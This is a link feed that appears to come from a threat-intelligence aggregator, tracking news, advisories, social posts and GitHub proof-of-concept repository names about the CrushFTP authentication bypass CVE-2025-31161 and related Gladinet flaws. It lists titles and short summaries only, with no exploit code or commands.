social bsky.app @ubuntu.activitypub.awakari.com.ap.brid.gy 2026-01-05 13:46 UTCSoulmate HTB Walkthrough HTB Soulmate Walkthrough Initial Reconnaissance I started the Soulmate HackTheBox challenge by performing an nmap scan to identify active services on the target system. nm... #hackthebox #soulmate-writeup #hacktheb…Open source
-
code github.com ch3m1cl 2025-12-07 01:49 UTCch3m1cl/CVE-2025-31161Open source
-
news helpnetsecurity.com 2025-11-11 08:00 UTCAttackers exploited another Gladinet Triofox vulnerability (CVE-2025-12480) - Help Net SecurityOpen source
-
code github.com c4bsec 2025-10-21 17:49 UTCc4bsec/CVE-2025-31161Open source
-
code github.com 0xDTC 2025-09-27 06:16 UTC0xDTC/CrushFTP-auth-bypass-CVE-2025-31161Open source
-
code github.com tdawg506 2025-09-26 21:52 UTCtdawg506/CVE-2025-31161Open source
-
code github.com acan0007 2025-09-15 04:24 UTCacan0007/CVE-2025-31161Open source
-
code github.com f4dee-backup 2025-09-10 00:20 UTCf4dee-backup/CVE-2025-31161Open source
-
social bsky.app @beikokucyber.bsky.social 2025-08-03 21:03 UTC速報:共通脆弱性識別子CVE-2025-31161は、以下の情報源に基づき、エクスプロイトコードが実在することが確認されました:cisa kev, exploitdb, poc in github, nuclei, vulncheck kev。CVE-2025-31161のEPSS数値は本日40%を超えており、ランサムウェアと関連して活用されていることが確認されています。Open source
-
social bsky.app @beikokucyber.bsky.social 2025-08-03 21:02 UTCCVE-2025-31161 has confirmed exploit code according to the following sources: cisa kev, exploitdb, poc in github, nuclei, vulncheck kev. The EPSS score is over 40%. CVE-2025-31161 is verified to be affiliated with ransomware.Open source
-
social bsky.app @ytroncal.bsky.social 2025-07-21 06:15 UTCCVE-2025-31161: CrushFTP Authentication Bypass Vulnerability dev.to/freedom_code...Open source
-
news thehackernews.com 2025-07-20 07:00 UTCHackers Exploit Critical CrushFTP Flaw to Gain Admin Access on Unpatched Servers - The Hacker NewsOpen source
-
code github.com r0otk3r 2025-07-19 18:31 UTCr0otk3r/CVE-2025-31161Open source
-
news arcticwolf.com 2025-07-18 07:00 UTCRecommendations For CVE-2025-54309 - Arctic WolfOpen source
-
code github.com Drelinss 2025-06-07 05:09 UTCDrelinss/Blackash-CVE-2025-31161Open source
-
code github.com 0xgh057r3c0n 2025-05-23 21:04 UTC0xgh057r3c0n/CVE-2025-31161Open source
-
news dragos.com 2025-05-21 07:00 UTCDragos Industrial Ransomware Analysis: Q1 2025 - DragosOpen source
-
social bsky.app @beikokucyber.bsky.social 2025-05-19 21:02 UTC速報:共通脆弱性識別子CVE-2025-31161は、以下の情報源に基づき、エクスプロイトコードが実在することが確認されました:CISA KEV, ExploitDB, Nuclei, Vulncheck KEV。CVE-2025-31161のEPSS数値は本日40%を超えており、ランサムウェアと関連して活用されていることが確認されています。Open source
-
social bsky.app @beikokucyber.bsky.social 2025-05-19 21:02 UTCCVE-2025-31161 has confirmed exploit code according to the following sources: CISA KEV, ExploitDB, Nuclei, Vulncheck KEV. The EPSS score is over 40%. CVE-2025-31161 is verified to be affiliated with ransomware.Open source
-
social bsky.app @nimblenerd.social 2025-05-18 15:21 UTCCrushFTP Security Snafu: Your Server’s Back Door is Wide Open! CVE-2025-31161 exploit: CrushFTP versionsOpen source
-
news trellix.com 2025-05-08 07:00 UTCThe Bug Report - April 2025 Edition - TrellixOpen source
-
code github.com SUPRAAA-1337 2025-04-24 22:09 UTCSUPRAAA-1337/CVE-2025-31161_exploitOpen source
-
code github.com SUPRAAA-1337 2025-04-24 10:25 UTCSUPRAAA-1337/Nuclei_CVE-2025-31161_CVE-2025-2825Open source
-
social bsky.app @beikokucyber.bsky.social 2025-04-22 21:02 UTC速報:共通脆弱性識別子CVE-2025-31161は、以下の情報源に基づき、エクスプロイトコードが実在することが確認されました:CISA KEV, Nuclei, Vulncheck KEV。CVE-2025-31161はランサムウェアと関連して活用されていることが確認されています。Open source
-
social bsky.app @beikokucyber.bsky.social 2025-04-22 21:02 UTCCVE-2025-31161 has confirmed exploit code according to the following sources: CISA KEV, Nuclei, Vulncheck KEV. CVE-2025-31161 is verified to be affiliated with ransomware.Open source
-
social bsky.app @cyberhub.blog 2025-04-22 18:20 UTC📌 Active Exploitation of CrushFTP Authentication Bypass Vulnerability (CVE-2025-31161) https://www.cyberhub.blog/article/4381-active-exploitation-of-crushftp-authentication-bypass-vulnerability-cve-2025-31161Open source
-
social bsky.app @cybersecurity.page 2025-04-22 17:42 UTCAn authentication bypass vulnerability in CrushFTP (CVE-2025-31161) is being actively exploited, affecting versions 10.0.0-10.8.3 and 11.0.0-11.3.0. It allows attacker system access without credentials. Mitigation involves upgrading to ver…Open source
-
code github.com TX-One 2025-04-21 23:57 UTCTX-One/CVE-2025-31161Open source
-
social bsky.app @ralf-ladner.bsky.social 2025-04-16 14:30 UTCSicherheitslücke in CrushFTP ermöglicht Authentifizierungs-Bypass @censysio #CrushFTP #CVE #Cybersecurity #Cybersicherheit #Schwachstelle #Sicherheitsforscher #Sicherheitslücke netzpalaver.de/2025/...Open source
-
advisory huntress.com 2025-04-14 07:00 UTCCVE-2025-30406 - Critical Gladinet CentreStack & Triofox Vulnerability Exploited In The Wild - HuntressOpen source
-
news kennedyslaw.com 2025-04-14 07:00 UTCVulnerability crush: organisations are being exploited via CrushFTP in widespread cyber attack - Kennedys Law LLPOpen source
-
social bsky.app @royans.bsky.social 2025-04-12 19:15 UTCCISA adds critical CrushFTP vulnerability (CVE-2025-31161) to KEV catalog; authentication bypass allows takeover. #Cybersecurity #CISA #VulnerabilityOpen source
-
social bsky.app @leakix.bsky.social 2025-04-11 13:08 UTC🚨 New plugin for CrushFTP's CVE-2025-2825/CVE-2025-31161 is up. While enumerating users to validate vulnerable instances we noticed a pattern. It's on all instances we scanned for, can you see it? What do you make of it?Open source
-
code github.com ghostsec420 2025-04-11 10:54 UTCghostsec420/ShatteredFTPOpen source
-
social bsky.app @buzzleaktv.bsky.social 2025-04-10 22:19 UTCImperva Customers Are Protected Against CVE-2025-31161 in CrushFTP Introduction A critical security vulnerability, identified as CVE-2025-31161 (previously tracked as CVE-2025-2825), has been discovered in CrushFTP versions 10.0.0 through…Open source